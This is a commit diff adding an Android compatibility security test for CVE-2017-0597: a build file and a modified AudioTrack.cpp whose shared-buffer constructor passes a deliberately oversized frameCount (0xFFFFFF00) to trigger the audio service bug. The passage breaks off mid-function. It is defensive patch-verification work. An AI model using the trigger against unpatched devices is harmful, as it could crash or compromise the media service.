[RESTRICT AUTOMERGE] CTS test for Android Security b/34749571

Bug: 34749571
Bug: 72459536
Test: Ran the new testcase on android-10.0.0_r1 with/without patch

Change-Id: I137dfce18d847e3287d94c03a24cdb21bf59032e
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0597/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0597/Android.bp
new file mode 100644
index 0000000..aca99a5
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0597/Android.bp
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+    name: "CVE-2017-0597",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+        "AudioTrackModified.cpp",
+    ],
+    include_dirs: [
+        "frameworks/av/services/audioflinger",
+        "frameworks/av/media/libaudioclient/include/media",
+        "system/media/audio/include/system",
+        "system/media/audio_utils/include",
+    ],
+    shared_libs: [
+        "libc",
+        "liblog",
+        "libcutils",
+        "libutils",
+        "libbinder",
+        "libaudioutils",
+        "libaudioclient",
+        "libmediautils",
+        "libmedia_helper",
+        "libmediametrics",
+        "libnblog",
+        "libprocessgroup",
+    ],
+    cppflags: [
+        "-Wall",
+        "-Werror",
+        "-Wno-error=deprecated-declarations",
+        "-Wunused",
+        "-Wunreachable-code",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0597/AudioTrackModified.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0597/AudioTrackModified.cpp
new file mode 100644
index 0000000..4f07713
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0597/AudioTrackModified.cpp
@@ -0,0 +1,3252 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+/* This file is taken from frameworks/av/media/libaudioclient and is modified
+ * for CVE-2017-0597 */
+//#define LOG_NDEBUG 0
+#define LOG_TAG "AudioTrack"
+
+#include <inttypes.h>
+#include <math.h>
+#include <sys/resource.h>
+
+#include <android-base/macros.h>
+#include <audio_utils/clock.h>
+#include <audio_utils/primitives.h>
+#include <binder/IPCThreadState.h>
+#include <media/AudioTrack.h>
+#include <utils/Log.h>
+#include <private/media/AudioTrackShared.h>
+#include <processgroup/sched_policy.h>
+#include <media/IAudioFlinger.h>
+#include <media/IAudioPolicyService.h>
+#include <media/AudioParameter.h>
+#include <media/AudioResamplerPublic.h>
+#include <media/AudioSystem.h>
+#include <media/MediaAnalyticsItem.h>
+#include <media/TypeConverter.h>
+
+#define WAIT_PERIOD_MS                  10
+#define WAIT_STREAM_END_TIMEOUT_SEC     120
+static const int kMaxLoopCountNotifications = 32;
+
+namespace android {
+// ---------------------------------------------------------------------------
+
+using media::VolumeShaper;
+
+// TODO: Move to a separate .h
+
+template <typename T>
+static inline const T &min(const T &x, const T &y) {
+    return x < y ? x : y;
+}
+
+template <typename T>
+static inline const T &max(const T &x, const T &y) {
+    return x > y ? x : y;
+}
+
+static inline nsecs_t framesToNanoseconds(ssize_t frames, uint32_t sampleRate, float speed)
+{
+    return ((double)frames * 1000000000) / ((double)sampleRate * speed);
+}
+
+static int64_t convertTimespecToUs(const struct timespec &tv)
+{
+    return tv.tv_sec * 1000000LL + tv.tv_nsec / 1000;
+}
+
+// TODO move to audio_utils.
+static inline struct timespec convertNsToTimespec(int64_t ns) {
+    struct timespec tv;
+    tv.tv_sec = static_cast<time_t>(ns / NANOS_PER_SECOND);
+    tv.tv_nsec = static_cast<long>(ns % NANOS_PER_SECOND);
+    return tv;
+}
+
+// current monotonic time in microseconds.
+static int64_t getNowUs()
+{
+    struct timespec tv;
+    (void) clock_gettime(CLOCK_MONOTONIC, &tv);
+    return convertTimespecToUs(tv);
+}
+
+// FIXME: we don't use the pitch setting in the time stretcher (not working);
+// instead we emulate it using our sample rate converter.
+static const bool kFixPitch = true; // enable pitch fix
+static inline uint32_t adjustSampleRate(uint32_t sampleRate, float pitch)
+{
+    return kFixPitch ? (sampleRate * pitch + 0.5) : sampleRate;
+}
+
+static inline float adjustSpeed(float speed, float pitch)
+{
+    return kFixPitch ? speed / max(pitch, AUDIO_TIMESTRETCH_PITCH_MIN_DELTA) : speed;
+}
+
+static inline float adjustPitch(float pitch)
+{
+    return kFixPitch ? AUDIO_TIMESTRETCH_PITCH_NORMAL : pitch;
+}
+
+// static
+status_t AudioTrack::getMinFrameCount(
+        size_t* frameCount,
+        audio_stream_type_t streamType,
+        uint32_t sampleRate)
+{
+    if (frameCount == NULL) {
+        return BAD_VALUE;
+    }
+
+    // FIXME handle in server, like createTrack_l(), possible missing info:
+    //          audio_io_handle_t output
+    //          audio_format_t format
+    //          audio_channel_mask_t channelMask
+    //          audio_output_flags_t flags (FAST)
+    uint32_t afSampleRate;
+    status_t status;
+    status = AudioSystem::getOutputSamplingRate(&afSampleRate, streamType);
+    if (status != NO_ERROR) {
+        ALOGE("%s(): Unable to query output sample rate for stream type %d; status %d",
+                __func__, streamType, status);
+        return status;
+    }
+    size_t afFrameCount;
+    status = AudioSystem::getOutputFrameCount(&afFrameCount, streamType);
+    if (status != NO_ERROR) {
+        ALOGE("%s(): Unable to query output frame count for stream type %d; status %d",
+                __func__, streamType, status);
+        return status;
+    }
+    uint32_t afLatency;
+    status = AudioSystem::getOutputLatency(&afLatency, streamType);
+    if (status != NO_ERROR) {
+        ALOGE("%s(): Unable to query output latency for stream type %d; status %d",
+                __func__, streamType, status);
+        return status;
+    }
+
+    // When called from createTrack, speed is 1.0f (normal speed).
+    // This is rechecked again on setting playback rate (TODO: on setting sample rate, too).
+    *frameCount = AudioSystem::calculateMinFrameCount(afLatency, afFrameCount, afSampleRate,
+                                              sampleRate, 1.0f /*, 0 notificationsPerBufferReq*/);
+
+    // The formula above should always produce a non-zero value under normal circumstances:
+    // AudioTrack.SAMPLE_RATE_HZ_MIN <= sampleRate <= AudioTrack.SAMPLE_RATE_HZ_MAX.
+    // Return error in the unlikely event that it does not, as that's part of the API contract.
+    if (*frameCount == 0) {
+        ALOGE("%s(): failed for streamType %d, sampleRate %u",
+                __func__, streamType, sampleRate);
+        return BAD_VALUE;
+    }
+    ALOGV("%s(): getMinFrameCount=%zu: afFrameCount=%zu, afSampleRate=%u, afLatency=%u",
+            __func__, *frameCount, afFrameCount, afSampleRate, afLatency);
+    return NO_ERROR;
+}
+
+// static
+bool AudioTrack::isDirectOutputSupported(const audio_config_base_t& config,
+                                         const audio_attributes_t& attributes) {
+    ALOGV("%s()", __FUNCTION__);
+    const sp<IAudioPolicyService>& aps = AudioSystem::get_audio_policy_service();
+    if (aps == 0) return false;
+    return aps->isDirectOutputSupported(config, attributes);
+}
+
+// ---------------------------------------------------------------------------
+
+void AudioTrack::MediaMetrics::gather(const AudioTrack *track)
+{
+    // only if we're in a good state...
+    // XXX: shall we gather alternative info if failing?
+    const status_t lstatus = track->initCheck();
+    if (lstatus != NO_ERROR) {
+        ALOGD("%s(): no metrics gathered, track status=%d", __func__, (int) lstatus);
+        return;
+    }
+
+#define MM_PREFIX "android.media.audiotrack." // avoid cut-n-paste errors.
+
+    // Java API 28 entries, do not change.
+    mAnalyticsItem->setCString(MM_PREFIX "streamtype", toString(track->streamType()).c_str());
+    mAnalyticsItem->setCString(MM_PREFIX "type",
+            toString(track->mAttributes.content_type).c_str());
+    mAnalyticsItem->setCString(MM_PREFIX "usage", toString(track->mAttributes.usage).c_str());
+
+    // Non-API entries, these can change due to a Java string mistake.
+    mAnalyticsItem->setInt32(MM_PREFIX "sampleRate", (int32_t)track->mSampleRate);
+    mAnalyticsItem->setInt64(MM_PREFIX "channelMask", (int64_t)track->mChannelMask);
+    // Non-API entries, these can change.
+    mAnalyticsItem->setInt32(MM_PREFIX "portId", (int32_t)track->mPortId);
+    mAnalyticsItem->setCString(MM_PREFIX "encoding", toString(track->mFormat).c_str());
+    mAnalyticsItem->setInt32(MM_PREFIX "frameCount", (int32_t)track->mFrameCount);
+    mAnalyticsItem->setCString(MM_PREFIX "attributes", toString(track->mAttributes).c_str());
+}
+
+// hand the user a snapshot of the metrics.
+status_t AudioTrack::getMetrics(MediaAnalyticsItem * &item)
+{
+    mMediaMetrics.gather(this);
+    MediaAnalyticsItem *tmp = mMediaMetrics.dup();
+    if (tmp == nullptr) {
+        return BAD_VALUE;
+    }
+    item = tmp;
+    return NO_ERROR;
+}
+
+AudioTrack::AudioTrack()
+    : mStatus(NO_INIT),
+      mState(STATE_STOPPED),
+      mPreviousPriority(ANDROID_PRIORITY_NORMAL),
+      mPreviousSchedulingGroup(SP_DEFAULT),
+      mPausedPosition(0),
+      mSelectedDeviceId(AUDIO_PORT_HANDLE_NONE),
+      mRoutedDeviceId(AUDIO_PORT_HANDLE_NONE)
+{
+    mAttributes.content_type = AUDIO_CONTENT_TYPE_UNKNOWN;
+    mAttributes.usage = AUDIO_USAGE_UNKNOWN;
+    mAttributes.flags = 0x0;
+    strcpy(mAttributes.tags, "");
+}
+
+AudioTrack::AudioTrack(
+        audio_stream_type_t streamType,
+        uint32_t sampleRate,
+        audio_format_t format,
+        audio_channel_mask_t channelMask,
+        size_t frameCount,
+        audio_output_flags_t flags,
+        callback_t cbf,
+        void* user,
+        int32_t notificationFrames,
+        audio_session_t sessionId,
+        transfer_type transferType,
+        const audio_offload_info_t *offloadInfo,
+        uid_t uid,
+        pid_t pid,
+        const audio_attributes_t* pAttributes,
+        bool doNotReconnect,
+        float maxRequiredSpeed,
+        audio_port_handle_t selectedDeviceId)
+    : mStatus(NO_INIT),
+      mState(STATE_STOPPED),
+      mPreviousPriority(ANDROID_PRIORITY_NORMAL),
+      mPreviousSchedulingGroup(SP_DEFAULT),
+      mPausedPosition(0)
+{
+    mAttributes = AUDIO_ATTRIBUTES_INITIALIZER;
+
+    (void)set(streamType, sampleRate, format, channelMask,
+            frameCount, flags, cbf, user, notificationFrames,
+            0 /*sharedBuffer*/, false /*threadCanCallJava*/, sessionId, transferType,
+            offloadInfo, uid, pid, pAttributes, doNotReconnect, maxRequiredSpeed, selectedDeviceId);
+}
+
+AudioTrack::AudioTrack(
+        audio_stream_type_t streamType,
+        uint32_t sampleRate,
+        audio_format_t format,
+        audio_channel_mask_t channelMask,
+        const sp<IMemory>& sharedBuffer,
+        audio_output_flags_t flags,
+        callback_t cbf,
+        void* user,
+        int32_t notificationFrames,
+        audio_session_t sessionId,
+        transfer_type transferType,
+        const audio_offload_info_t *offloadInfo,
+        uid_t uid,
+        pid_t pid,
+        const audio_attributes_t* pAttributes,
+        bool doNotReconnect,
+        float maxRequiredSpeed)
+    : mStatus(NO_INIT),
+      mState(STATE_STOPPED),
+      mPreviousPriority(ANDROID_PRIORITY_NORMAL),
+      mPreviousSchedulingGroup(SP_DEFAULT),
+      mPausedPosition(0),
+      mSelectedDeviceId(AUDIO_PORT_HANDLE_NONE)
+{
+    mAttributes = AUDIO_ATTRIBUTES_INITIALIZER;
+
+    (void)set(streamType, sampleRate, format, channelMask,
+            // Modification for CVE-2017-0597 START
+            0xFFFFFF00 /*frameCount*/,
+            // Modification for CVE-2017-0597 END
+            flags, cbf, user, notificationFrames,
+            sharedBuffer, false /*threadCanCallJava*/, sessionId, transferType, offloadInfo,
+            uid, pid, pAttributes, doNotReconnect, maxRequiredSpeed);
+}
+
+AudioTrack::~AudioTrack()
+{
+    // pull together the numbers, before we clean up our structures
+    mMediaMetrics.gather(this);
+
+    if (mStatus == NO_ERROR) {
+        // Make sure that callback function exits in the case where
+        // it is looping on buffer full condition in obtainBuffer().
+        // Otherwise the callback thread will never exit.
+        stop();
+        if (mAudioTrackThread != 0) {
+            mProxy->interrupt();
+            mAudioTrackThread->requestExit();   // see comment in AudioTrack.h
+            mAudioTrackThread->requestExitAndWait();
+            mAudioTrackThread.clear();
+        }
+        // No lock here: worst case we remove a NULL callback which will be a nop
+        if (mDeviceCallback != 0 && mOutput != AUDIO_IO_HANDLE_NONE) {
+            AudioSystem::removeAudioDeviceCallback(this, mOutput, mPortId);
+        }
+        IInterface::asBinder(mAudioTrack)->unlinkToDeath(mDeathNotifier, this);
+        mAudioTrack.clear();
+        mCblkMemory.clear();
+        mSharedBuffer.clear();
+        IPCThreadState::self()->flushCommands();
+        ALOGV("%s(%d), releasing session id %d from %d on behalf of %d",
+                __func__, mPortId,
+                mSessionId, IPCThreadState::self()->getCallingPid(), mClientPid);
+        AudioSystem::releaseAudioSessionId(mSessionId, mClientPid);
+    }
+}
+
+status_t AudioTrack::set(
+        audio_stream_type_t streamType,
+        uint32_t sampleRate,
+        audio_format_t format,
+        audio_channel_mask_t channelMask,
+        size_t frameCount,
+        audio_output_flags_t flags,
+        callback_t cbf,
+        void* user,
+        int32_t notificationFrames,
+        const sp<IMemory>& sharedBuffer,
+        bool threadCanCallJava,
+        audio_session_t sessionId,
+        transfer_type transferType,
+        const audio_offload_info_t *offloadInfo,
+        uid_t uid,
+        pid_t pid,
+        const audio_attributes_t* pAttributes,
+        bool doNotReconnect,
+        float maxRequiredSpeed,
+        audio_port_handle_t selectedDeviceId)
+{
+    status_t status;
+    uint32_t channelCount;
+    pid_t callingPid;
+    pid_t myPid;
+
+    // Note mPortId is not valid until the track is created, so omit mPortId in ALOG for set.
+    ALOGV("%s(): streamType %d, sampleRate %u, format %#x, channelMask %#x, frameCount %zu, "
+          "flags #%x, notificationFrames %d, sessionId %d, transferType %d, uid %d, pid %d",
+          __func__,
+          streamType, sampleRate, format, channelMask, frameCount, flags, notificationFrames,
+          sessionId, transferType, uid, pid);
+
+    mThreadCanCallJava = threadCanCallJava;
+    mSelectedDeviceId = selectedDeviceId;
+    mSessionId = sessionId;
+
+    switch (transferType) {
+    case TRANSFER_DEFAULT:
+        if (sharedBuffer != 0) {
+            transferType = TRANSFER_SHARED;
+        } else if (cbf == NULL || threadCanCallJava) {
+            transferType = TRANSFER_SYNC;
+        } else {
+            transferType = TRANSFER_CALLBACK;
+        }
+        break;
+    case TRANSFER_CALLBACK:
+    case TRANSFER_SYNC_NOTIF_CALLBACK:
+        if (cbf == NULL || sharedBuffer != 0) {
+            ALOGE("%s(): Transfer type %s but cbf == NULL || sharedBuffer != 0",
+                    convertTransferToText(transferType), __func__);
+            status = BAD_VALUE;
+            goto exit;
+        }
+        break;
+    case TRANSFER_OBTAIN:
+    case TRANSFER_SYNC:
+        if (sharedBuffer != 0) {
+            ALOGE("%s(): Transfer type TRANSFER_OBTAIN but sharedBuffer != 0", __func__);
+            status = BAD_VALUE;
+            goto exit;
+        }
+        break;
+    case TRANSFER_SHARED:
+        if (sharedBuffer == 0) {
+            ALOGE("%s(): Transfer type TRANSFER_SHARED but sharedBuffer == 0", __func__);
+            status = BAD_VALUE;
+            goto exit;
+        }
+        break;
+    default:
+        ALOGE("%s(): Invalid transfer type %d",
+                __func__, transferType);
+        status = BAD_VALUE;
+        goto exit;
+    }
+    mSharedBuffer = sharedBuffer;
+    mTransfer = transferType;
+    mDoNotReconnect = doNotReconnect;
+
+    ALOGV_IF(sharedBuffer != 0, "%s(): sharedBuffer: %p, size: %zu",
+            __func__, sharedBuffer->pointer(), sharedBuffer->size());
+
+    ALOGV("%s(): streamType %d frameCount %zu flags %04x",
+            __func__, streamType, frameCount, flags);
+
+    // invariant that mAudioTrack != 0 is true only after set() returns successfully
+    if (mAudioTrack != 0) {
+        ALOGE("%s(): Track already in use", __func__);
+        status = INVALID_OPERATION;
+        goto exit;
+    }
+
+    // handle default values first.
+    if (streamType == AUDIO_STREAM_DEFAULT) {
+        streamType = AUDIO_STREAM_MUSIC;
+    }
+    if (pAttributes == NULL) {
+        if (uint32_t(streamType) >= AUDIO_STREAM_PUBLIC_CNT) {
+            ALOGE("%s(): Invalid stream type %d", __func__, streamType);
+            status = BAD_VALUE;
+            goto exit;
+        }
+        mStreamType = streamType;
+
+    } else {
+        // stream type shouldn't be looked at, this track has audio attributes
+        memcpy(&mAttributes, pAttributes, sizeof(audio_attributes_t));
+        ALOGV("%s(): Building AudioTrack with attributes:"
+                " usage=%d content=%d flags=0x%x tags=[%s]",
+                __func__,
+                 mAttributes.usage, mAttributes.content_type, mAttributes.flags, mAttributes.tags);
+        mStreamType = AUDIO_STREAM_DEFAULT;
+        audio_flags_to_audio_output_flags(mAttributes.flags, &flags);
+    }
+
+    // these below should probably come from the audioFlinger too...
+    if (format == AUDIO_FORMAT_DEFAULT) {
+        format = AUDIO_FORMAT_PCM_16_BIT;
+    } else if (format == AUDIO_FORMAT_IEC61937) { // HDMI pass-through?
+        mAttributes.flags |= AUDIO_OUTPUT_FLAG_IEC958_NONAUDIO;
+    }
+
+    // validate parameters
+    if (!audio_is_valid_format(format)) {
+        ALOGE("%s(): Invalid format %#x", __func__, format);
+        status = BAD_VALUE;
+        goto exit;
+    }
+    mFormat = format;
+
+    if (!audio_is_output_channel(channelMask)) {
+        ALOGE("%s(): Invalid channel mask %#x",  __func__, channelMask);
+        status = BAD_VALUE;
+        goto exit;
+    }
+    mChannelMask = channelMask;
+    channelCount = audio_channel_count_from_out_mask(channelMask);
+    mChannelCount = channelCount;
+
+    // force direct flag if format is not linear PCM
+    // or offload was requested
+    if ((flags & AUDIO_OUTPUT_FLAG_COMPRESS_OFFLOAD)
+            || !audio_is_linear_pcm(format)) {
+        ALOGV( (flags & AUDIO_OUTPUT_FLAG_COMPRESS_OFFLOAD)
+                    ? "%s(): Offload request, forcing to Direct Output"
+                    : "%s(): Not linear PCM, forcing to Direct Output",
+                    __func__);
+        flags = (audio_output_flags_t)
+                // FIXME why can't we allow direct AND fast?
+                ((flags | AUDIO_OUTPUT_FLAG_DIRECT) & ~AUDIO_OUTPUT_FLAG_FAST);
+    }
+
+    // force direct flag if HW A/V sync requested
+    if ((flags & AUDIO_OUTPUT_FLAG_HW_AV_SYNC) != 0) {
+        flags = (audio_output_flags_t)(flags | AUDIO_OUTPUT_FLAG_DIRECT);
+    }
+
+    if (flags & AUDIO_OUTPUT_FLAG_DIRECT) {
+        if (audio_has_proportional_frames(format)) {
+            mFrameSize = channelCount * audio_bytes_per_sample(format);
+        } else {
+            mFrameSize = sizeof(uint8_t);
+        }
+    } else {
+        ALOG_ASSERT(audio_has_proportional_frames(format));
+        mFrameSize = channelCount * audio_bytes_per_sample(format);
+        // createTrack will return an error if PCM format is not supported by server,
+        // so no need to check for specific PCM formats here
+    }
+
+    // sampling rate must be specified for direct outputs
+    if (sampleRate == 0 && (flags & AUDIO_OUTPUT_FLAG_DIRECT) != 0) {
+        status = BAD_VALUE;
+        goto exit;
+    }
+    mSampleRate = sampleRate;
+    mOriginalSampleRate = sampleRate;
+    mPlaybackRate = AUDIO_PLAYBACK_RATE_DEFAULT;
+    // 1.0 <= mMaxRequiredSpeed <= AUDIO_TIMESTRETCH_SPEED_MAX
+    mMaxRequiredSpeed = min(max(maxRequiredSpeed, 1.0f), AUDIO_TIMESTRETCH_SPEED_MAX);
+
+    // Make copy of input parameter offloadInfo so that in the future:
+    //  (a) createTrack_l doesn't need it as an input parameter
+    //  (b) we can support re-creation of offloaded tracks
+    if (offloadInfo != NULL) {
+        mOffloadInfoCopy = *offloadInfo;
+        mOffloadInfo = &mOffloadInfoCopy;
+    } else {
+        mOffloadInfo = NULL;
+        memset(&mOffloadInfoCopy, 0, sizeof(audio_offload_info_t));
+    }
+
+    mVolume[AUDIO_INTERLEAVE_LEFT] = 1.0f;
+    mVolume[AUDIO_INTERLEAVE_RIGHT] = 1.0f;
+    mSendLevel = 0.0f;
+    // mFrameCount is initialized in createTrack_l
+    mReqFrameCount = frameCount;
+    if (notificationFrames >= 0) {
+        mNotificationFramesReq = notificationFrames;
+        mNotificationsPerBufferReq = 0;
+    } else {
+        if (!(flags & AUDIO_OUTPUT_FLAG_FAST)) {
+            ALOGE("%s(): notificationFrames=%d not permitted for non-fast track",
+                    __func__, notificationFrames);
+            status = BAD_VALUE;
+            goto exit;
+        }
+        if (frameCount > 0) {
+            ALOGE("%s(): notificationFrames=%d not permitted with non-zero frameCount=%zu",
+                    __func__, notificationFrames, frameCount);
+            status = BAD_VALUE;
+            goto exit;
+        }
+        mNotificationFramesReq = 0;
+        const uint32_t minNotificationsPerBuffer = 1;
+        const uint32_t maxNotificationsPerBuffer = 8;
+        mNotificationsPerBufferReq = min(maxNotificationsPerBuffer,
+                max((uint32_t) -notificationFrames, minNotificationsPerBuffer));
+        ALOGW_IF(mNotificationsPerBufferReq != (uint32_t) -notificationFrames,
+                "%s(): notificationFrames=%d clamped to the range -%u to -%u",
+                __func__,
+                notificationFrames, minNotificationsPerBuffer, maxNotificationsPerBuffer);
+    }
+    mNotificationFramesAct = 0;
+    callingPid = IPCThreadState::self()->getCallingPid();
+    myPid = getpid();
+    if (uid == AUDIO_UID_INVALID || (callingPid != myPid)) {
+        mClientUid = IPCThreadState::self()->getCallingUid();
+    } else {
+        mClientUid = uid;
+    }
+    if (pid == -1 || (callingPid != myPid)) {
+        mClientPid = callingPid;
+    } else {
+        mClientPid = pid;
+    }
+    mAuxEffectId = 0;
+    mOrigFlags = mFlags = flags;
+    mCbf = cbf;
+
+    if (cbf != NULL) {
+        mAudioTrackThread = new AudioTrackThread(*this);
+        mAudioTrackThread->run("AudioTrack", ANDROID_PRIORITY_AUDIO, 0 /*stack*/);
+        // thread begins in paused state, and will not reference us until start()
+    }
+
+    // create the IAudioTrack
+    {
+        AutoMutex lock(mLock);
+        status = createTrack_l();
+    }
+    if (status != NO_ERROR) {
+        if (mAudioTrackThread != 0) {
+            mAudioTrackThread->requestExit();   // see comment in AudioTrack.h
+            mAudioTrackThread->requestExitAndWait();
+            mAudioTrackThread.clear();
+        }
+        goto exit;
+    }
+
+    mUserData = user;
+    mLoopCount = 0;
+    mLoopStart = 0;
+    mLoopEnd = 0;
+    mLoopCountNotified = 0;
+    mMarkerPosition = 0;
+    mMarkerReached = false;
+    mNewPosition = 0;
+    mUpdatePeriod = 0;
+    mPosition = 0;
+    mReleased = 0;
+    mStartNs = 0;
+    mStartFromZeroUs = 0;
+    AudioSystem::acquireAudioSessionId(mSessionId, mClientPid);
+    mSequence = 1;
+    mObservedSequence = mSequence;
+    mInUnderrun = false;
+    mPreviousTimestampValid = false;
+    mTimestampStartupGlitchReported = false;
+    mTimestampRetrogradePositionReported = false;
+    mTimestampRetrogradeTimeReported = false;
+    mTimestampStallReported = false;
+    mTimestampStaleTimeReported = false;
+    mPreviousLocation = ExtendedTimestamp::LOCATION_INVALID;
+    mStartTs.mPosition = 0;
+    mUnderrunCountOffset = 0;
+    mFramesWritten = 0;
+    mFramesWrittenServerOffset = 0;
+    mFramesWrittenAtRestore = -1; // -1 is a unique initializer.
+    mVolumeHandler = new media::VolumeHandler();
+
+exit:
+    mStatus = status;
+    return status;
+}
+
+// -------------------------------------------------------------------------
+
+status_t AudioTrack::start()
+{
+    AutoMutex lock(mLock);
+    ALOGV("%s(%d): prior state:%s", __func__, mPortId, stateToString(mState));
+
+    if (mState == STATE_ACTIVE) {
+        return INVALID_OPERATION;
+    }
+
+    mInUnderrun = true;
+
+    State previousState = mState;
+    if (previousState == STATE_PAUSED_STOPPING) {
+        mState = STATE_STOPPING;
+    } else {
+        mState = STATE_ACTIVE;
+    }
+    (void) updateAndGetPosition_l();
+
+    // save start timestamp
+    if (isOffloadedOrDirect_l()) {
+        if (getTimestamp_l(mStartTs) != OK) {
+            mStartTs.mPosition = 0;
+        }
+    } else {
+        if (getTimestamp_l(&mStartEts) != OK) {
+            mStartEts.clear();
+        }
+    }
+    mStartNs = systemTime(); // save this for timestamp adjustment after starting.
+    if (previousState == STATE_STOPPED || previousState == STATE_FLUSHED) {
+        // reset current position as seen by client to 0
+        mPosition = 0;
+        mPreviousTimestampValid = false;
+        mTimestampStartupGlitchReported = false;
+        mTimestampRetrogradePositionReported = false;
+        mTimestampRetrogradeTimeReported = false;
+        mTimestampStallReported = false;
+        mTimestampStaleTimeReported = false;
+        mPreviousLocation = ExtendedTimestamp::LOCATION_INVALID;
+
+        if (!isOffloadedOrDirect_l()
+                && mStartEts.mTimeNs[ExtendedTimestamp::LOCATION_SERVER] > 0) {
+            // Server side has consumed something, but is it finished consuming?
+            // It is possible since flush and stop are asynchronous that the server
+            // is still active at this point.
+            ALOGV("%s(%d): server read:%lld  cumulative flushed:%lld  client written:%lld",
+                    __func__, mPortId,
+                    (long long)(mFramesWrittenServerOffset
+                            + mStartEts.mPosition[ExtendedTimestamp::LOCATION_SERVER]),
+                    (long long)mStartEts.mFlushed,
+                    (long long)mFramesWritten);
+            // mStartEts is already adjusted by mFramesWrittenServerOffset, so we delta adjust.
+            mFramesWrittenServerOffset -= mStartEts.mPosition[ExtendedTimestamp::LOCATION_SERVER];
+        }
+        mFramesWritten = 0;
+        mProxy->clearTimestamp(); // need new server push for valid timestamp
+        mMarkerReached = false;
+
+        // For offloaded tracks, we don't know if the hardware counters are really zero here,
+        // since the flush is asynchronous and stop may not fully drain.
+        // We save the time when the track is started to later verify whether
+        // the counters are realistic (i.e. start from zero after this time).
+        mStartFromZeroUs = mStartNs / 1000;
+
+        // force refresh of remaining frames by processAudioBuffer() as last
+        // write before stop could be partial.
+        mRefreshRemaining = true;
+
+        // for static track, clear the old flags when starting from stopped state
+        if (mSharedBuffer != 0) {
+            android_atomic_and(
+            ~(CBLK_LOOP_CYCLE | CBLK_LOOP_FINAL | CBLK_BUFFER_END),
+            &mCblk->mFlags);
+        }
+    }
+    mNewPosition = mPosition + mUpdatePeriod;
+    int32_t flags = android_atomic_and(~(CBLK_STREAM_END_DONE | CBLK_DISABLED), &mCblk->mFlags);
+
+    status_t status = NO_ERROR;
+    if (!(flags & CBLK_INVALID)) {
+        status = mAudioTrack->start();
+        if (status == DEAD_OBJECT) {
+            flags |= CBLK_INVALID;
+        }
+    }
+    if (flags & CBLK_INVALID) {
+        status = restoreTrack_l("start");
+    }
+
+    // resume or pause the callback thread as needed.
+    sp<AudioTrackThread> t = mAudioTrackThread;
+    if (status == NO_ERROR) {
+        if (t != 0) {
+            if (previousState == STATE_STOPPING) {
+                mProxy->interrupt();
+            } else {
+                t->resume();
+            }
+        } else {
+            mPreviousPriority = getpriority(PRIO_PROCESS, 0);
+            get_sched_policy(0, &mPreviousSchedulingGroup);
+            androidSetThreadPriority(0, ANDROID_PRIORITY_AUDIO);
+        }
+
+        // Start our local VolumeHandler for restoration purposes.
+        mVolumeHandler->setStarted();
+    } else {
+        ALOGE("%s(%d): status %d", __func__, mPortId, status);
+        mState = previousState;
+        if (t != 0) {
+            if (previousState != STATE_STOPPING) {
+                t->pause();
+            }
+        } else {
+            setpriority(PRIO_PROCESS, 0, mPreviousPriority);
+            set_sched_policy(0, mPreviousSchedulingGroup);
+        }
+    }
+
+    return status;
+}
+
+void AudioTrack::stop()
+{
+    AutoMutex lock(mLock);
+    ALOGV("%s(%d): prior state:%s", __func__, mPortId, stateToString(mState));
+
+    if (mState != STATE_ACTIVE && mState != STATE_PAUSED) {
+        return;
+    }
+
+    if (isOffloaded_l()) {
+        mState = STATE_STOPPING;
+    } else {
+        mState = STATE_STOPPED;
+        ALOGD_IF(mSharedBuffer == nullptr,
+                "%s(%d): called with %u frames delivered", __func__, mPortId, mReleased.value());
+        mReleased = 0;
+    }
+
+    mProxy->stop(); // notify server not to read beyond current client position until start().
+    mProxy->interrupt();
+    mAudioTrack->stop();
+
+    // Note: legacy handling - stop does not clear playback marker
+    // and periodic update counter, but flush does for streaming tracks.
+
+    if (mSharedBuffer != 0) {
+        // clear buffer position and loop count.
+        mStaticProxy->setBufferPositionAndLoop(0 /* position */,
+                0 /* loopStart */, 0 /* loopEnd */, 0 /* loopCount */);
+    }
+
+    sp<AudioTrackThread> t = mAudioTrackThread;
+    if (t != 0) {
+        if (!isOffloaded_l()) {
+            t->pause();
+        } else if (mTransfer == TRANSFER_SYNC_NOTIF_CALLBACK) {
+            // causes wake up of the playback thread, that will callback the client for
+            // EVENT_STREAM_END in processAudioBuffer()
+            t->wake();
+        }
+    } else {
+        setpriority(PRIO_PROCESS, 0, mPreviousPriority);
+        set_sched_policy(0, mPreviousSchedulingGroup);
+    }
+}
+
+bool AudioTrack::stopped() const
+{
+    AutoMutex lock(mLock);
+    return mState != STATE_ACTIVE;
+}
+
+void AudioTrack::flush()
+{
+    AutoMutex lock(mLock);
+    ALOGV("%s(%d): prior state:%s", __func__, mPortId, stateToString(mState));
+
+    if (mSharedBuffer != 0) {
+        return;
+    }
+    if (mState == STATE_ACTIVE) {
+        return;
+    }
+    flush_l();
+}
+
+void AudioTrack::flush_l()
+{
+    ALOG_ASSERT(mState != STATE_ACTIVE);
+
+    // clear playback marker and periodic update counter
+    mMarkerPosition = 0;
+    mMarkerReached = false;
+    mUpdatePeriod = 0;
+    mRefreshRemaining = true;
+
+    mState = STATE_FLUSHED;
+    mReleased = 0;
+    if (isOffloaded_l()) {
